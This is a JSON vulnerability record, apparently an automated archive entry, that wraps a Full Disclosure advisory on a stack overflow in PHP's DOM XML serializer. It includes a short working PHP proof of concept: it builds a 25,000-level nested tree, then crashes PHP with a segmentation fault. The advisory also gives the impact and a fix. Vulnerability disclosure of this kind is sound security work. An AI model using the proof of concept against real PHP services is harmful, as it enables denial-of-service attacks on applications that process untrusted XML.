{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "PHP",
          "vendor": "Php",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Khashayar Fereidani"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-06-18\n**Advisory:** https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nThe `dom_xml_serialization_algorithm()` and\n`dom_xml_serialize_element_node()` functions in\n`ext/dom/xml_serializer.c` rely on unbounded recursion to serialize\nXML nodes. When serializing a deeply nested XML tree, the continuous\nrecursive calls exhaust the thread\u0027s stack space, causing a\nsegmentation fault (SIGSEGV). This issue can be triggered via\n`Dom\\XMLDocument::saveXml()` or by accessing the `$innerHTML` /\n`$outerHTML` properties of `Dom\\XMLDocument` elements. Note that\n`Dom\\HTMLDocument` uses an iterative approach and is unaffected.\n\n## Proof of concept\n\n```php\n\u003c?php\n// A stack overflow occurs due to unbounded recursion in\n// dom_xml_serialization_algorithm() and dom_xml_serialize_element_node()\n// within ext/dom/xml_serializer.c (introduced in PHP 8.4/8.5).\n// The file\u0027s own TODO at line 41 notes:\n// \"TODO: implement iterative approach instead of recursive?\".\n//\n// Under the default 8MB thread stack, serializing a deeply nested XML\n// tree crashes PHP with a SIGSEGV (139). Running with `ulimit -s unlimited`\n// prevents the crash, proving it is stack exhaustion rather than a logic bug.\n//\n// The vulnerability is reachable via Dom\\XMLDocument::saveXml()\n// and the $innerHTML / $outerHTML properties of Dom\\XMLDocument elements.\n// Note that Dom\\HTMLDocument is unaffected, as its HTML5 serializer\n// (dom_html5_serialize_node) is iterative.\n\n$document = Dom\\XMLDocument::createEmpty();\n$root = $document-\u003ecreateElement(\u0027root\u0027);\n$document-\u003eappendChild($root);\n\n$current = $root;\n\n// This loop creates a deeply nested tree.\n// It crashes under the default stack limit but succeeds with `ulimit\n-s unlimited`.\nfor ($i = 0; $i \u003c 25000; $i++) {\n    $element = $document-\u003ecreateElement(\u0027e\u0027);\n    $current-\u003eappendChild($element);\n    $current = $element;\n}\n\n// This line is never reached under the default stack limit.\nvar_dump(strlen(@$document-\u003esaveXml()));\n```\n\nRunning the script results in:\n\n```bash\nSegmentation fault         (core dumped) php poc.php\n```\n\n## Impact\n\nAn attacker could cause a Denial of Service (DoS) by providing a\nmaliciously crafted, deeply nested XML document. If the application\nprocesses and attempts to serialize this untrusted structure, the PHP\nprocess will abruptly crash due to stack exhaustion.\n\n## Solution\n\nRefactor the serialization algorithm in `ext/dom/xml_serializer.c` to\nuse an iterative approach rather than unbounded recursion. A `TODO`\ncomment already exists in the file at line 41 (\"TODO: implement\niterative approach instead of recursive?\"). Alternatively, enforcing a\nhard limit on DOM nesting depth during creation and parsing could\nmitigate the exploitability.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T07:55:54Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/13"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jun/13"
        },
        {
          "url": "https://fereidani.com/contact"
        },
        {
          "url": "https://fereidani.com/php-857-domxmlserializationalgorithm-stack-overflow"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jun/13"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "PHP 8.5.7 `dom_xml_serialization_algorithm()` stack-overflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0323",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jun/13",
            "automated": true,
            "contentSha256": "899246fabd1c4d2675d967a4fc75871f6b293548509602572958afbacfafd5ed",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jun/13",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-19T06:24:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:54Z",
    "dateUpdated": "2026-09-11T07:55:54Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0323"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}